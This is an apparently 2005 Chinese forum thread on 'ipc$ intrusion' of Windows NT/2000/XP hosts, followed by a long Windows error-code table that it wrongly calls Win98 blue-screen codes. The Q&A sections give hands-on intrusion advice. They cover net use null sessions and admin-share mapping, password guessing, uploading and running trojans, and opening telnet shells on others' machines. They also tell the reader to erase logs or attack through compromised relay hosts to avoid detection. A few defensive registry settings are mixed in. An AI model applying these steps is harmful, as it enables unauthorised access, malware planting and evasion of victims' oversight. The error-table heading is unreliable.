2445端口可以通过修改注册表来屏蔽

添加一个键值

Hive: HKEY_LOCAL_MACHINE

Key: System\Controlset\Services\NetBT\Parameters

Name: SMBDeviceEnabled

Type: REG_DWORD

Value: 0

修改完后重启机器

 

注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。

 

 

3)安装防火墙进行端口过滤

 

 

5 设置复杂密码,防止通过ipc$穷举出密码。

 

 

十四 ipc$入侵问答精选

 

 

上面说了一大堆的理论东西,但在实际中你会遇到各种各样的问题,因此为了给予大家最大的帮助,我看好几个安全论坛,找了n多的帖子,从中整理了一些有代表性的问答,其中的一些答案是我给出的,一些是论坛上的回复,如果有什么疏漏和错误,还请包涵。

 

 

1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?

 

答:留下记录是一定的,你走后用程序删除就可以了,或者用肉鸡入侵。

 

 

2.你看下面的情况是为什么,可以连接但不能复制

net use \\***.***.***.***\ipc$ "密码" /user:"用户名"

命令成功

copy icmd.exe \\***.***.***.***\admin$

找不到网络路径

命令不成功

 

答:可能有两个原因:

1)你的权限不够,不能访问默认共享;

 

2)对方没有开启admin$默认共享,不要认为能进行ipc$连接,对方就一定开了默认共享(很多人都这么以为,误区!!),此时你可以试试别的默认共享或普通共享,比如c$,d$,c,d等,如果还是不行,就要看你的权限了,如果是管理员权限,你可以开telnet,如果能成功,在给它开共享也行。

 

 

3.如果对方开了IPC$,且能建立空联接,但打开CD盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?

 

答:建议先用流光或者别的什么猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。

 

 

4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?

 

答:首先纠正你的一个错误,用net view是无法看到默认共享的。既然你现在有管理员权限,而且对方又开了ipc$,建议你用opentelnet.exe这个小程序打开它的telent,在获得了这个shell之后,做什么都可以了。

 

 

5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?

net uset ccbirds /add

 

答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell之后,你才能在远程建立一个帐户,否则你的操作只是在本地进行。

 

 

6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?

 

答:不能copy文件有多个可能,除了权限不够外,还可能是对方c$,d$等默认管理共享没开,或者是对方为NTFS文件格式,通过设置,管理员也未必能远程写文件。既然你有管理员权限,那就开telnet上去吧,然后在开它的共享。

 

 

7.我用Win98能与对方建立ipc$连接吗?

 

答:不可以的,要进行ipc$的操作,建议用win2000

 

 

8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?

 

答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;或者你自己的NBT没有打开,netstat是建立在NBT之上的。  

 

 

9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?

 

答:呵呵,这说明你与目标主机建立了一个以上的ipc$连接,这是不允许的,把其他的删掉吧:net use \\*.*.*.*\ipc$ /del

 

 

10.我在映射的时候出现:

F:\>net use h: \\211.161.134.*\e$

系统发生 85 错误。

本地设备名已在使用中。这是怎么回事?

 

答:你也太粗心了吧,这说明你的h盘正在使用,映射到别的盘符吧!

 

 

11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?

F:\>net use h: \\*.*.*.*\c$

密码在 \\*.*.*.*\c$ 无效。

请键入 \\*.*.*.*\c$ 的密码:

系统发生 5 错误。

拒绝访问。

 

答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。

 

 

12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?

答:你混淆了ipc$139的关系,能进行ipc$连接的主机一定开了139445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.

 

13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?

 

答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。

 

14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c

出现请键入 \\192.168.0.2 的密码,怎么回事情呢?

 

答:虽然你具有管理员权限,但管理员在设置c盘共享权限时可能并未设置允许administrator访问,所以会出现问题。

 

15.如果自己的机器禁止了ipc$, 是不是还可以用ipc连接别的机器?

 

 

纯皓 2005-04-12 00:22

ipc$常见问题

 

1,怎样建立空连接,它有什么用?

答:使用命令 net use \IPipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放ipc$)。

对于NT,在默认安全设置下,借助空连接可以列举目标用户、共享,访问everyone权限的共享,访问小部分注册表等,没有什么利用价值。对2000作用就更小了。而且实现也不方便,需借助工具。

 

2.为什么我连不上IPC$

答:1.只有nt/2000/xp及以上系统才可以建立ipc$。如果你用的是98/me是没有该功能的。

2.确认你的命令没有打错。正确的命令是: net use \目标IPipc$ "密码" /user:"用户名"

注意别多了或少了空格。当用户名和密码中不包含空格时两边的双引号可以省略。空密码用""表示。

 

3,根据返回的错误号分析原因:

错误号5,拒绝访问 很可能你使用的用户不是管理员权限的,先提升权限;

错误号51Windows 无法找到网络路径 : 网络有问题;

错误号53,找不到网络路径 ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名 你的lanmanworkstation服务未启动;目标删除了ipc$

错误号1219,提供的凭据与已存在的凭据集冲突 你已经和对方建立了一个ipc$,请删除再连。

错误号1326,未知的用户名或错误密码 原因很明显了;

错误号1792,试图登录,但是网络登录服务没有启动 目标NetLogon服务未启动。(连接域控会出现此情况)

错误号2242,此用户的密码已经过期 目标有帐号策略,强制定期要求更改密码。

 

4,关于ipc$连不上的问题比较复杂,没有总结出一个统一的认识,在肉鸡上实验有时会得出矛盾的结论,十分棘手。 而且知道了问题所在,如果没有用其他办法获得shell,很多问题依然不能解决。

 

5,怎样打开目标的IPC$

答:首先你需要获得一个不依赖于ipc$shell,比如sqlcmd扩展、telnet、木马。当然,这shell必须是admin权限的。然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上一问题可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法)。还是不行的话(比如有防火墙,杀不了)建议放弃。

 

6,怎样映射和访问默认共享?

答:使用命令 net use z: \目标IPc$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘,其他盘类推。

如果已经和目标建立了ipc$,则可以直接用IP加盘符加$访问。比如 copy muma.exe \IPd$pathmuma.exe 。或者再映射也可以,只是不用用户名和密码了:net use y: \IPd$ 。然后 copy muma.exe y:pathmuma.exe 。当路径中包含空格时,须用""将路径全引住。

 

7,如何删除映射和ipc$连接?

答:用命令 net use \IPipc$ /del 删除和一个目标的ipc$连接。

用命令 net use z: /del 删除映射的z盘,其他盘类推。

用命令 net use * /del 删除全部。会有提示要求按y确认。

 

8,连上ipc$然后我能做什么?

答:能使用管理员权限的帐号成功和目标连接ipc$,表示你可以和对方系统做深入“交流”了。你可以使用各种命令行方式的工具(比如pstools系列、Win2000SrvReskittelnethack等)获得目标信息、管理目标的进程和服务等。如果目标开放了默认共享(没开你就帮他开),你就可以上传木马并运行。也可以用tftpftp的办法上传。像dwrccVNCRemoteAdmin等工具(木马)还具有直接控屏的功能。如果是2000server,还可以考虑开启终端服务方便控制。这里提到的工具的使用,请看自带的说明或相关教程。

 

9,怎样防止别人用ips$和默认共享入侵我?

答:A、一种办法是把ipc$和默认共享都删除了。但重起后还会有。这就需要改注册表。

1,先把已有的删除

net share ipc$ /del

net share admin$ /del

net share c$ /del

…………(有几个删几个)

2,禁止别人空连接

?? ?? 首先运行regedit,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]RestrictAnonymousDWORD)的键值改为:00000002

?? ? 3,禁止自动打开默认共享

?? ?? 对于server版,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]AutoShareServerDWORD)的键值改为:00000000

对于pro版,则是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]AutoShareWksDWORD)的键值改为:00000000

如果上面所说的主键不存在,就新建一个再改键值。

B、另一种是关闭ipc$和默认共享依赖的服务(不推荐)

net stop lanmanserver

可能会有提示说,XXX服务也会关闭是否继续。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续就可以了。

C、最简单的办法是设置复杂密码,防止通过ipc$穷举密码。但如果你有其他漏洞,ipc$将为进一步入侵提供方便。

D、还有一个办法就是装防火墙,或者端口过滤。

 

 

纯皓 2005-04-12 00:22

98蓝屏代码详解

WIN98下出现蓝屏是经常事,而这个时候我们做的多是重新启动以恢复操作,但蓝屏的原因是什么?我的机器到底出了什么问题,这时就知其然不知所以然。这个表也许能帮的上你。数

0 0x0000 操作完成。

1 0x0001 不正确的函数。

2 0x0002 系统找不到指定的文件。

3 0x0003 系级找不到指定的路径。

4 0x0004 系统无法打开文件。

5 0x0005 拒绝存取。

6 0x0006 无效的代码。

7 0x0007 内存控制模块已损坏。

8 0x0008 内存空间不足,无法处理这个指令。

9 0x0009 内存控制模块地址无效。

10 0x000A 环境不正确。

11 0x000B 尝试载入一个格式错误的程序。

12 0x000C 存取码错误。

13 0x000D 资料错误。

14 0x000E 内存空间不够,无法完成这项操作。

15 0x000F 系统找不到指定的硬盘。

16 0x0010 无法移除目录。

17 0x0011 系统无法将文件移到其它的硬盘。

18 0x0012 没有任何文件。

19 0x0013 储存媒体为防写状态。

20 0x0014 系统找不到指定的装置。

21 0x0015 装置尚未就绪。

22 0x0016 装置无法识别指令。

23 0x0017 资料错误(cyclic redundancy check)

24 0x0018 程序发出一个长度错误的指令。

25 0x0019 磁盘机在磁盘找不到持定的磁区或磁轨。

26 0x001A 指定的磁盘或磁盘无法存取。

27 0x001B 磁盘机找不到要求的磁区。

28 0x001C 打印机没有纸。

29 0x001D 系统无法将资料写入指定的磁盘。

30 0x001E 系统无法读取指定的装置。

31 0x001F 连接到系统的某个装置没有作用。

32 0x0020 The process cannot access the file because it is being used byanother process.

33 0x0021 文件的一部份被锁定,现在无法存取。

34 0x0022 磁盘机的磁盘不正确。请将%2(Volume Serial Number: %3)插入磁盘

%1

36 0x0024 开启的分享文件数量太多。

38 0x0026 到达文件结尾。

39 0x0027 磁盘已满。

50 0x0032 不支持这种网络要求。

 

51 0x0033 远端电脑无法使用。

52 0x0034 网络名称重复。

53 0x0035 网络路径找不到。

54 0x0036 网络繁忙。

55 0x0037 The specified network resource or device is no longer available.

56 0x0038 The network BIOS command limit has been reached. 57 0x0039 网卡发生问题。

58 0x003A 指定的服务器无法执行要求的操作。

59 0x003B 网络发生意外的错误。

60 0x003C 远端配接卡不兼容。

61 0x003D 打印机队列已满。

62 0x003E 服务器的空间无法储存等候打印的文件。

63 0x003F 等候打印的文件已经删除。

64 0x0040 指定的网络名称无法使用。

65 0x0041 拒绝存取网络。

66 0x0042 网络资源类型错误。

67 0x0043 网络名称找不到。

68 0x0044 超过区域电脑网卡的名称限制。

69 0x0045 超过网络BIOS操作阶段的限制。

70 0x0046 远端服务器已经暂停或者正在起始中。

71 0x0047 由于连接数目已达上限,此时无法再连接到这台远端电脑。

72 0x0048 指定的打印机或磁盘装置已经暂停作用。

80 0x0050 文件已经存在。

82 0x0052 无法建立目录或文件。

83 0x0053 INT24失败

84 0x0054 处理这项要求的储存体无法使用。

85 0x0055 近端装置名称已经在使用中。

86 0x0056 指定的网络密码错误。

87 0x0057 参数错误。

88 0x0058 网络发生资料写入错误。

89 0x0059 此时时系统无法执行其它行程。

100 0x0064 无法建立其它的系统semaphore

 

101 0x0065 属于其它行程专用的semaphore

102 0x0066 semaphore已经设定,而且无法关闭。

103 0x0067 无法指定semaphore

104 0x0068 在岔断时间无法要求专用的semaphore

105 0x0069 semaphore 先前的拥有权已经结束。

106 0x006A 请将磁盘插入 %1

107 0x006B 因为代用的磁盘尚未插入,所以程序已经停止。

108 0x006C 磁盘正在使用中或被锁定。

109 0x006D Pipe 已经中止。

110 0x006E 系统无法开启指定的装置或档案。

111 0x006F 文件名太长。

112 0x0070 硬盘空间不足。

113 0x0071 没有可用的内部文件识别字。

114 0x0072 目标内部文件识别字不正确。

117 0x0075 由应用程序所执行的IOCTL呼叫不正确。

118 0x0076 写入验证参数值不正确。

119 0x0077 系统不支持所要求的指令。

120 0x0078 此项功能仅在 Win32 模式有效。

121 0x0079 semaphore 超过逾时期间。

122 0x007A 传到系统呼叫的资料区域太小。

123 0x007B 文件名、目录名和或储存体标签语法错误。

124 0x007C 系统呼叫层次不正确。

125 0x007D 磁盘没有设定标签。

126 0x007E 找不到指定的模组。

127 0x007F 找不到指定的程序。

128 0x0080 没有子行程可供等待。

129 0x0081 %1 这个应用程序无法在 Win32 模式下执行。

130 0x0082 Attempt to use a file handle to an open disk partition for anoperation other than raw disk I/O.

131 0x0083 尝试将文件指标移至文件开头之前。

132 0x0084 无法在指定的装置或文件,设定文件指标。

133 0x0085 JOIN SUBST 指令 无法用于内含事先结合过的磁盘机。

134 0x0086 尝试在已经结合的磁盘机,使用 JOIN SUBST 指令。

135 0x0087 尝试在已经替换的磁盘机,使 JOIN SUBST 指令。

136 0x0088 系统尝试删除未连结过的磁盘机的连结关系。

137 0x0089 系统尝试删除未替换过的磁盘机的替换关系。

138 0x008A 系统尝试将磁盘机结合到已经结合过之磁盘机的目录。

139 0x008B 系统尝试将磁盘机替换成已经替换过之磁盘机的目录。

140 0x008C 系统尝试将磁盘机替换成已经替换过之磁盘机的目录。

141 0x008D 系统尝试将磁盘机 SUBST 成已结合的磁盘机目录。

142 0x008E 系统此刻无法执行 JOIN SUBST

143 0x008F 系统无法将磁盘机结合或替换同一磁盘机下目录。

144 0x0090 这个目录不是根目录的子目录。

145 0x0091 目录仍有资料。

146 0x0092 指定的路径已经被替换过。

147 0x0093 资源不足,无法处理这项指令。

148 0x0094 指定的路径这时候无法使用。

149 0x0095 尝试要结合或替换的磁盘机目录,是已经替换过的目标。

 

150 0x0096 CONFIG.SYS 文件未指定系统追踪资讯,或是追踪功能被取消。

151 0x0097 指定的 semaphore事件 DosMuxSemWait 数目不正确。

152 0x0098 DosMuxSemWait 没有执行/设定太多的 semaphore

153 0x0099 DosMuxSemWait 清单不正确。

154 0x009A 你所输入的储存媒体标元长度限制。

155 0x009B 无法建立其它的执行绪。

156 0x009C 接收行程拒绝接受信号。

157 0x009D 区段已经被舍弃,无法被锁定。

158 0x009E 区段已经解除锁定。

159 0x009F 执行绪识别码的地址不正确。

160 0x00A0 传到 DosExecPgm 的引数字符串不正确。

161 0x00A1 指定的路径不正确。

162 0x00A2 信号等候处理。

164 0x00A4 系统无法建立执行绪。

167 0x00A7 无法锁定文件的部份范围。

170 0x00AA 所要求的资源正在使用中。

173 0x00AD 取消范围的锁定要求不明显。

174 0x00AE 文件系统不支持自动变更锁定类型。

180 0x00B4 系统发现不正确的区段号码。

182 0x00B6 操作系统无法执行 %1

183 0x00B7 文件已经存在,无法建立同一文件。

186 0x00BA 传送的旗号错误。

187 0x00BB 指定的系统旗号找不到。

188 0x00BC 操作系统无法执行 %1

189 0x00BD 操作系统无法执行 %1

190 0x00BE 操作系统无法执行 %1

191 0x00BF 无法在 Win32 模式下执行 %1

192 0x00C0 操作系统无法执行 %1

193 0x00C1 %1 不是正确的 Win32 应用程序。

194 0x00C2 操作系统无法执行 %1

195 0x00C3 操作系统无法执行 %1

196 0x00C4 操作系统无法执行这个应用程序。

197 0x00C5 操作系统目前无法执行这个应用程序。

198 0x00C6 操作系统无法执行 %1

199 0x00C7 操作系统无法执行这个应用程序。

 

200 0x00C8 程序码的区段不可以大于或等于64KB

201 0x00C9 操作系统无法执行 %1

202 0x00CA 操作系统无法执行 %1

203 0x00CB 系统找不到输入的环境选项。 r

205 0x00CD 在指令子目录下,没有任何行程有信号副处理程序。

206 0x00CE 文件名称或副文件名太长。

207 0x00CF ring 2 堆迭使用中。

208 0x00D0 输入的通用文件名字元 * ? 不正确,或指定太多的通用文件名字元。

209 0x00D1 所传送的信号不正确。

210 0x00D2 无法设定信号处理程序。

212 0x00D4 区段被锁定,而且无法重新配置。

214 0x00D6 附加到此程序或动态连结模组的动态连结模组太多。

215 0x00D7 Can't nest calls to LoadModule.

230 0x00E6 The pipe state is invalid.

231 0x00E7 所有的 pipe instances 都在忙碌中。

232 0x00E8 The pipe is being closed.

233 0x00E9 No process is on the other end of the pipe.

234 0x00EA 有更多可用的资料。

240 0x00F0 操作阶段被取消。

254 0x00FE 指定的延伸属性名称无效。

255 0x00FF 延伸的属性不一致。

259 0x0103 没有可用的资料。

266 0x010A 无法使用 Copy API

267 0x010B 目录名称错误。

275 0x0113 延伸属性不适用于缓冲区。

276 0x0114 在外挂的文件系统上的延伸属性文件已经损坏。

277 0x0115 延伸属性表格档满。

278 0x0116 指定的延伸属性代码无效。

282 0x011A 外挂的这个文件系统不支持延伸属性。

288 0x0120 意图释放不属于叫用者的 mutex

298 0x012A semaphore 传送次数过多。

299 0x012B 只完成 Read/WriteProcessMemory 的部份要求。

317 0x013D 系统找不到位于讯息文件%2中编号为0x%1的讯息。

487 0x01E7 尝试存取无效的地址。

534 0x0216 运算结果超过32位。

535 0x0217 信道的另一端有一个行程在接送资料。

536 0x0218 等候行程来开启信道的另一端。

994 0x03E2 存取延伸的属性被拒。

995 0x03E3 由于执行绪结束或应用程序要求,而异常终止 I/O操作。

996 0x03E4 重迭的 I/O 事件不是设定成通知状态。

997 0x03E5 正在处理重迭的 I/O 操作。

998 0x03E6 对记忆体位置的无效存取。

999 0x03E7 执行 inpage 操作发生错误。

 

 

纯皓 2005-04-12 00:23

1001 0x03E9 递归太深,堆迭溢出。(递归是什幺东西???????)

1002 0x03EA 视窗无法用来传送讯息。

1003 0x03EB 无法完成这项功能。

1004 0x03EC 旗号无效。

1005 0x03ED 储存媒体未含任何可辨识的文件系统。请确以载入所需的系统驱动

程序,而且该储存媒体并未损坏。

1006 0x03EE 储存该文件的外部媒体发出警告,表示该已开启文件已经无效。

1007 0x03EF 所要求的作业无法在全屏幕模式下执行。

1008 0x03F0 An attempt was made to reference a token that does not exist.

1009 0x03F1 组态系统登录数据库毁损。

1010 0x03F2 组态系统登录机码无效。

1011 0x03F3 无法开启组态系统登录机码。

1012 0x03F4 无法读取组态系统登录机码。

1013 0x03F5 无法写入组态系统登录机码。

1014 0x03F6 系统登录数据库中的一个档案必须使用记录或其它备份还原。 已经还原成功。

1015 0x03F7 系统登录毁损。其中某个档案毁损、或者该档案的 系统映对内存 内容毁损、会是档案无法复原。

1016 0x03F8 系统登录起始的 I/O 作业发生无法复原的错误。 系统登录无法读入、写出或更新,其中的一个档案 内含系统登录在内存中的内容。

1017 0x03F9 系统尝试将档案加载系统登录或将档案还原到系统登录中, 但是,指定档案的格式不是系统登录文件的格式。

1018 0x03FA 尝试在标示为删除的系统登录机码,执行不合法的操作。

1019 0x03FB 系统无法配置系统登录记录所需的空间。

1020 0x03FC 无法在已经有子机码或数值的系统登录机码建立符号连结。

1021 0x03FD 无法在临时机码下建立永久的子机码。

1022 0x03FE 变更要求的通知完成,但信息 并未透过呼叫者的缓冲区传回。呼叫者现在需要自行列举档案,找出变更的地方。

1051 0x041B 停止控制已经传送给其它服务 所依峙的一个服务。

1052 0x041C 要求的控制对此服务无效

1053 0x041D The service did not respond to the start or control request in a timely fashion. 1054 0x041E 无法建立服务的执行绪。

1055 0x041F 服务数据库被锁定。

1056 0x0420 这种服务已经在执行。

1057 0x0421 帐户名称错误或者不存在。

1058 0x0422 指定的服务暂停作用,无法激活。

1059 0x0423 指定循环服务从属关系。

1060 0x0424 指定的服务不是安装进来的服务。

1061 0x0425 该服务项目此时无法接收控制讯息。

1062 0x0426 服务尚未激活。

1063 0x0427 无法联机到服务控制程序。

1064 0x0428 处理控制要求时,发生意外状况。

1065 0x0429 指定的数据库不存在。

1066 0x042A 服务传回专属于服务的错误码。

1067 0x042B The process terminated unexpectedly.

1068 0x042C 从属服务或群组无法激活。

1069 0x042D 因为登入失败,所以没有激活服务。

1070 0x042E 在激活之后,服务在激活状态时当机。

1071 0x042F 指定服务数据库锁定无效。

1072 0x0430 指定的服务已经标示为删除。

1073 0x0431 指定的服务已经存在。

1074 0x0432 系统目前正以上一次执行成功的组态执行。

1075 0x0433 从属服务不存在,或已经标示为删除。

1076 0x0434 目前的激活已经接受上一次执行成功的 控制设定。

1077 0x0435 上一次激活之后,就没有再激活服务。

1078 0x0436 指定的名称已经用于服务名称或服务显示 名称。

1100 0x044C 已经到了磁带的最后。

1101 0x044D 到了档案标示。

1102 0x044E 遇到磁带的开头或分割区。

1103 0x044F 到了档案组的结尾。

1104 0x0450 磁带没有任何资料。

1105 0x0451 磁带无法制作分割区。

1106 0x0452 存取多重容体的新磁带时,发现目前区块大小错误。

1107 0x0453 加载磁带时,找不到磁带分割区信息。

1108 0x0454 无法锁住储存媒体退带功能。

1109 0x0455 无法解除加载储存媒体。

1110 0x0456 磁盘驱动器中的储存媒体已经变更。

1111 0x0457 已经重设 I/O 总线。

1112 0x0458 磁盘驱动器没有任何储存媒体。

1113 0x0459 目标 multi-byte code page,没有对应 Unicode 字符。

1114 0x045A 动态链接库 (DLL) 起始例程失败。

1115 0x045B 系统正在关机。

1116 0x045C 无法中止系统关机,因为没有关机的动作在进行中。

1117 0x045D 因为 I/O 装置发生错误,所以无法执行要求。

1118 0x045E 序列装置起始失败,会取消加载序列驱动程序。

1119 0x045F 无法开启装置。这个装置与其它装置共享岔断要求(IRQ)。至少已经有一个使用同一IRQ 的其它装置已经开启。

1120 0x0460 A serial I/O operation was completed by another write to the serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.)

1121 0x0461 因为已经过了逾时时间,所以序列 I/O 作业完成。(IOCTL_SERIAL_XOFF_COUNTER 不是零。)

1122 0x0462 在磁盘找不到任何的 ID 地址标示。

1123 0x0463 磁盘扇区 ID 字段与磁盘控制卡追踪地址 不符。

1124 0x0464 软式磁盘驱动器控制卡回报了一个软式磁盘驱动器驱动程序无法识别的错误。

1125 0x0465 软式磁盘驱动器控制卡传回与缓存器中不一致的结果。

1126 0x0466 存取硬盘失败,重试后也无法作业。

1127 0x0467 存取硬盘失败,重试后也无法作业。

1128 0x0468 存取硬盘时,必须重设磁盘控制卡,但是连重设的动作也失败。

1129 0x0469 到了磁带的最后。

1130 0x046A 可用服务器储存空间不足,无法处理这项指令。

1131 0x046B 发现潜在的死锁条件。

1132 0x046C 指定的基本地址或档案位移没有适当对齐。

1140 0x0474 尝试变更系统电源状态,但其它的应用程序或驱动程序拒绝。

1141 0x0475 系统 BIOS 无法变更系统电源状态。

1150 0x047E 指定的程序需要新的 Windows 版本。

1151 0x047F 指定的程序不是 Windows MS-DOS 程序。

1152 0x0480 指定的程序已经激活,无法再激活一次。

1153 0x0481 指定的程序是为旧版的 Windows 所写的。

1154 0x0482 执行此应用程序所需的链接库档案之一毁损。

1155 0x0483 没有应用程序与此项作业的指定档案建立关联。

1156 0x0484 传送指令到应用程序发生错误。

1157 0x0485 找不到执行此应用程序所需的链接库档案。

1200 0x04B0 指定的装置名称无效。

1201 0x04B1 装置现在虽然未联机,但是它是一个记忆联机。

1202 0x04B2 尝试记忆已经记住的装置。

1203 0x04B3 提供的网络路径找不到任何网络提供程序。

1204 0x04B4 指定的网络提供程序名称错误。

1205 0x04B5 无法开启网络联机设定文件。

1206 0x04B6 网络联机设定文件坏掉。

1207 0x04B7 无法列举非容器。

1208 0x04B8 发生延伸的错误。

1209 0x04B9 指定的群组名称错误。

1210 0x04BA 指定的计算机名称错误。

1211 0x04BB 指定的事件名称错误。

1212 0x04BC 指定的网络名称错误。

1213 0x04BD 指定的服务名称错误。

1214 0x04BE 指定的网络名称错误。

1215 0x04BF 指定的资源共享名称错误。

1216 0x04C0 指定的密码错误。

1217 0x04C1 指定的讯息名称错误。

1218 0x04C2 指定的讯息目的地错误。

1219 0x04C3 所提供的条件与现有的条件组发生冲突。

1220 0x04C4 尝试与网络服务器联机,但是与该服务器的联机已经太多。

1221 0x04C5 其它网络计算机已经在使用这个工作群组或网域名称。

1222 0x04C6 网络没有显示出来或者没有激活。

1223 0x04C7 使用者已经取消作业。

1224 0x04C8 要求的作业无法在已经开启使用者对应区段的档案执行。

1225 0x04C9 远程系统拒绝网络联机。

1226 0x04CA 关闭网络联机。

1227 0x04CB 网络传输端点已经有相关连的地址。

1228 0x04CC 地址尚未有相关的网络端点。

1229 0x04CD 尝试在不存在的网络连线作业。

1230 0x04CE 在作用中的网络联机上执行无效的作业。

 

 

纯皓 2005-04-12 00:23

1231 0x04CF 无法传输到远程网络。

1232 0x04D0 无法联机到远程系统。

1233 0x04D1 远程系统不支持传输通讯协议。

1234 0x04D2 远程系统的目的地网络端点没有作何执行中的服务。

1235 0x04D3 要求已经中止。

1236 0x04D4 进端系统已经中断网络联机。

1237 0x04D5 无法完成作业,请重试。

1238 0x04D6 无法与服务器联机,原因是这个帐户已经到达同时联机数目的上限。

 

1239 0x04D7 尝试在这个帐户未授权的时间登入网络。

1240 0x04D8 这个帐户无法从这个地方登入网络。

1241 0x04D9 网络地址无法用于这个要求的作业。

1242 0x04DA 服务已经登记。

1243 0x04DB 指定的服务不存在。

1244 0x04DC 作业无法执行,原因是使用者尚未授权使用。

1245 0x04DD 要求的作业无法执行,原因是使用者尚未登入网络。指定的服务不存在。

1246 0x04DE 传回要求呼叫者继续工作的讯息。

1247 0x04DF 在完成起始作业之后,尝试再执行起始作业。

1248 0x04E0 没有其它的近端装置。

1300 0x0514 并未指定所有的参照权限给呼叫者。

1301 0x0515 帐户名称与安全识别码之间尚有未执行完成的联机。

1302 0x0516 此帐户并未设定特别的系统配额限制。

1303 0x0517 没有可用的加密机码。传回一个已知的加密机码。

1304 0x0518 NT 密码太复杂,无法转换成 LAN Manager 密码。传回的LAN Manager密码是一个空字符串。

1305 0x0519 修正层次不详。

1306 0x051A 表示两个修订阶层不兼容。

1307 0x051B 此安全识别码无法指定为这个对象的拥有者。

1308 0x051C 此安全识别码无法指定为主要的对象群组。

1309 0x051D An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client.

1310 0x051E 不可以关闭群组。

1311 0x051F 目前没有可登入的服务器,所以无法处理登入要求。

1312 0x0520 指定登入作业阶段不存在。该作业阶段可能已经 结束。

1313 0x0521 指定的权限不存在。

1314 0x0522 客户端未列出要求的权限。

1315 0x0523 所提供的名称格式与帐户名称不符。

1316 0x0524 指定的使用者已经存在。

1317 0x0525 指定的使用者不存在。

1318 0x0526 指定的群组已经存在。

1319 0x0527 指定的群组不存存。

1320 0x0528 指定的使用者帐户已经是指定群组的成员,或指定的群组因为内含成员而无法删除。

1321 0x0529 指定的使用者帐户不是指定的群组帐户成员。

1322 0x052A 上一次留下来的管理帐户无法关闭或 删除。

1323 0x052B 无法更新密码。所输入的密码不正确。

1324 0x052C 无法更新密码。所输入的新密码内含不符合 密码规定。

1325 0x052D 因为违反密码更新规则,所以无法更新密码。

1326 0x052E 登入失败: 无法辨识的使用者名称或密码错误。

1327 0x052F 登入失败: 使用者帐户限制。

1328 0x0530 登入失败: 违反帐户登入时间限制。

1329 0x0531 登入失败: 使用者不可登入这部计算机。

1330 0x0532 登入失败: 指定的帐户密码过期。

1331 0x0533 登入失败: 帐户目前无效。

1332 0x0534 帐户名称与帐户识别码不符。

1333 0x0535 一次要求太多的近端使用者识别码 (local user identifiers LUIDs)

1334 0x0536 没有可用的近端使用者识别码(local user identifiersLUIDs)

1335 0x0537 安全识别码的转授权部份对这个特殊用法无效。

1336 0x0538 无效的存取控制清单结构。

1337 0x0539 安全识别码结构无效。

1338 0x053A 安全叙述子结构无效。

1340 0x053C 无法建立继承的存取控制清单或存取控件目。

1341 0x053D 服务器目前无效。

1342 0x053E 服务器目前可以使用。

1343 0x053F 所提供的值是无效的识别码授权值。

1344 0x0540 没有可供安全信息更新使用的内存。

1345 0x0541 指定的属性无效,或指定的属性与整个群组的 属性不兼容。

1346 0x0542 Either a required impersonation level was not provided, or the provided impersonation level is invalid.

1347 0x0543 Cannot open an anonymous level security token.

1348 0x0544 所要求的认可信息类别无效。

1349 0x0545 The type of the token is inappropriate for its attempted use.

1350 0x0546 无法在没有相关连安全性的对象执行 安全作业。

1351 0x0547 指示无法连到 Windows NT 服务器,或网域中的对象 受到保护,所以无法撷取所需的对象。

1352 0x0548 安全帐户管理程序或区域安全授权服务器状态 不正确,所以无法执行安全作业。

1353 0x0549 网域状态错误,所以无法执行安全作业。

1354 0x054A 只有网域的主域控制器才能使用这项作业。

1355 0x054B 指定的网域不存在。

1356 0x054C 指定的网域已经存在。

1357 0x054D 尝试超过每个服务器的网域数目限制。

1358 0x054E 因为磁盘上发生严重的储存媒体错误或是数据结构毁损,所以无法完成所要求的作业。

1359 0x054F 安全帐户数据库内有内部不一致的状况。

1360 0x0550 通用的存取类型包含在某一存取屏蔽中,这个屏蔽已经对应到非通用的类型。

 

1361 0x0551 安全叙述子的格式不正确 (absolute or self-relative)

